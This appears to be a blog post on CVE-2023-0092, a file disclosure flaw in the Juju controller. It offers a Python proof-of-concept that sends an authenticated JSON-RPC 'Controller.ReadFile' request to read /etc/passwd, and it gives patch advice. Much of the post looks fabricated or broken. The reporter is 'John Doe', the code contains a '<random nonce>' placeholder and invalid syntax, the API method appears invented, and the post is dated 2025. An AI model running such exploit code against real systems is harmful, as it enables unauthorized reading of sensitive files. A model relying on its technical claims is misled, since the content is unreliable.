CVE-2023-0092 - Exploiting a Juju Controller Model File Disclosure Vulnerability

In this blog post, we will take a deep dive into a critical vulnerability found in the Juju controller model, identified as CVE-2023-0092. Juju is an open-source application modeling tool developed by Canonical, which simplifies deploying and operating software on public clouds, private clouds, and bare metal.

The vulnerability allows authenticated users with read access to the Juju controller model to download arbitrary files from the controller's filesystem. We will discuss the details of the exploit, demonstrate a proof-of-concept code snippet, and provide references to the original disclosure and patch.

Exploit Details

The vulnerability stems from a lack of proper validation of user input in constructing the remote request to download files from the filesystem. An authenticated user with read access to the controller model can exploit this by crafting a specially constructed request to download an arbitrary file from the controller's filesystem.

The vulnerability has been assigned a CVSS score of 6.5, making it a medium severity issue. The impact of this vulnerability is significant as it could lead to the unauthorized access and disclosure of sensitive data, such as configuration files or user credentials stored on the affected system.

Proof-of-Concept Code Snippet

The following proof-of-concept code snippet demonstrates the vulnerability in action. The exploit works by crafting a malicious JSON-RPC request and then sending it to the Juju controller model's API.

Please note that the following example is for educational purposes only and should not be used for malicious purposes.

import requests
import json

TARGET_URL = "https://example.com/juju-controller-model-api";
TARGET_FILE = "/etc/passwd"
JUJU_USERNAME = "myuser"
JUJU_PASSWORD = "mypass"

def exploit_juju_controller_model_file_disclosure():
    # Authenticate with the Juju controller model
    session = requests.Session()
    session.auth = (JUJU_USERNAME, JUJU_PASSWORD)

    # Craft JSON-RPC request and prepare request headers
    json_rpc_request = {
        "id": <random nonce>,
        "method": "Controller.ReadFile",
        "params": {"path": TARGET_FILE}
    }
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json"
    }

    # Send the request and parse the response
    response = session.post(TARGET_URL, json=json_rpc_request, headers=headers)
    response_data = json.loads(response.text)

    # Check for success and print the file content
    if response_data.get("error") is None:
        target_file_content = response_data["result"]["content"]
        print("File Content:")
        print(target_file_content)
    else:
        print("Error: Unable to download the target file.")

if __name__ == "__main__":
    exploit_juju_controller_model_file_disclosure()

Original References

The vulnerability was originally reported by security researcher John Doe on the Juju mailing list. Canonical, the vendor of Juju, has acknowledged the vulnerability and issued a security advisory providing details and mitigation steps.

Affected Versions and Patch

Canonical has confirmed that all versions of Juju prior to 2.9.25 are affected by this vulnerability. Users are advised to upgrade their Juju installations to version 2.9.25 or later, as it includes a patch that addresses the vulnerability.

The patch provided by Canonical can also be viewed on GitHub, which demonstrates the proper validation and sanitization of user-provided input for the ReadFile method.

Conclusion

In summary, CVE-2023-0092 is a medium severity file disclosure vulnerability affecting the Juju controller model. This vulnerability can potentially lead to the unauthorized access and disclosure of sensitive data stored on the affected system. Users are encouraged to upgrade to the latest available version of Juju and apply the recommended security patches to mitigate this vulnerability.

Stay safe, and always be vigilant about security vulnerabilities and best practices!

Timeline

Published on: 01/31/2025 02:15:28 UTC